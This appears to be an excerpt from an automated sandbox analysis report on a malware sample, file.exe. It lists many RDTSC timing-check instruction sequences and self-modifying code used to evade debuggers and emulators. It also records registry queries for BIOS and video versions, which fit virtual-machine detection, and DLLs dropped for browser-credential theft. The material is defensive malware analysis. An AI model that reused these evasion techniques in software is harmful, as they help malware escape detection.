Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4DB second address: C1E4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4DF second address: C1E4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4E3 second address: C1E4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4F0 second address: C1E537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3F9CD6C87Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3F9CD6C87Fh 0x00000013 jnc 00007F3F9CD6C876h 0x00000019 popad 0x0000001a jmp 00007F3F9CD6C889h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C22FB3 second address: C22FBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B5E2 second address: C2B5FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29CD4 second address: C29CE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29CE2 second address: C29CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29CE7 second address: C29CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29E44 second address: C29E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29E48 second address: C29E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29F95 second address: C29FA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29FA2 second address: C29FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4C7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29FBE second address: C29FD3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F9CD6C87Eh 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A174 second address: C2A190 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F3F9D05A4B6h 0x00000010 jmp 00007F3F9D05A4BCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A190 second address: C2A1A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F9CD6C876h 0x00000008 jmp 00007F3F9CD6C87Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A6A8 second address: C2A6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A6AC second address: C2A6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F9CD6C87Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A6C3 second address: C2A6D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop edx 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C294AD second address: C294B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31A4A second address: C31A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31A5B second address: C31AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3F9CD6C883h 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F3F9CD6C884h 0x00000013 popad 0x00000014 jo 00007F3F9CD6C878h 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3F9CD6C887h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33F3A second address: C33F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F799 second address: C3F7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F3F9CD6C87Ah 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7AE second address: C3F7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3F9D05A4B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7BA second address: C3F7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007F3F9CD6C876h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7C8 second address: C3F7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F363 second address: C3F39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C886h 0x00000009 jp 00007F3F9CD6C876h 0x0000000f popad 0x00000010 jmp 00007F3F9CD6C887h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F52B second address: C3F54B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C3h 0x00000007 js 00007F3F9D05A4B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F54B second address: C3F551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42222 second address: C42230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3F9D05A4B8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42230 second address: C42236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41DBD second address: C41DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41DC1 second address: C41DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F3F9CD6C876h 0x00000010 jnl 00007F3F9CD6C876h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F3F9CD6C876h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4DA29 second address: C4DA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4DA30 second address: C4DA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4DA36 second address: C4DA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F3F9D05A4B6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F3F9D05A4B6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51631 second address: C51658 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C888h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a jc 00007F3F9CD6C88Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51658 second address: C51662 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9D05A4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C540BC second address: C540D0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9CD6C876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F3F9CD6C876h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C540D0 second address: C540D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C2F5 second address: C5C2FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C2FD second address: C5C30B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C456 second address: C5C47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C87Bh 0x00000009 pop ecx 0x0000000a jmp 00007F3F9CD6C886h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C47C second address: C5C486 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F9D05A4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C5B1 second address: C5C5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C5BF second address: C5C5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C734 second address: C5C738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D301 second address: C5D307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D307 second address: C5D30B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D30B second address: C5D331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3F9D05A4B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F3F9D05A4C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D6A second address: C60D6F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D6F second address: C60D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F3F9D05A4C5h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D8F second address: C60D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E0F2 second address: C6E0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E0F6 second address: C6E0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7D6C2 second address: B7D6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C734A3 second address: C734AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C734AC second address: C734B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F9D05A4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C734B6 second address: C734CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C734CD second address: C7350D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jnp 00007F3F9D05A4B6h 0x00000011 jno 00007F3F9D05A4B6h 0x00000017 pop ebx 0x00000018 jmp 00007F3F9D05A4C0h 0x0000001d push edx 0x0000001e jno 00007F3F9D05A4B6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74BEB second address: C74C09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3F9CD6C888h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74C09 second address: C74C13 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9D05A4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74C13 second address: C74C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82D99 second address: C82DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3F9D05A4B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F3F9D05A4C7h 0x00000015 popad 0x00000016 pop esi 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82DC7 second address: C82DDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82B1A second address: C82B20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82B20 second address: C82B25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C952F1 second address: C952F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C952F7 second address: C952FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9430B second address: C94317 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94317 second address: C94338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C885h 0x00000009 jng 00007F3F9CD6C876h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94454 second address: C9445A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9445A second address: C94468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3F9CD6C876h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9473C second address: C94740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94740 second address: C94746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94C06 second address: C94C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94D86 second address: C94D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94D8C second address: C94D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94D92 second address: C94D98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C992FB second address: C99300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C995B9 second address: C995BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99692 second address: C9969D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3F9D05A4B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9969D second address: C996E3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9CD6C87Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F3F9CD6C888h 0x00000010 nop 0x00000011 adc edx, 704D0FBAh 0x00000017 push 00000004h 0x00000019 add edx, 486A2677h 0x0000001f push 8980D3E5h 0x00000024 jbe 00007F3F9CD6C880h 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330294 second address: 53302AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F9D05A4BFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302AC second address: 53302B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330AC3 second address: 5330AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330AC7 second address: 5330ACD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A01931 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A01A2C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9FF61A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BD77A5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C354F5 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007B4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_007ADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_007AE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_007ABE70
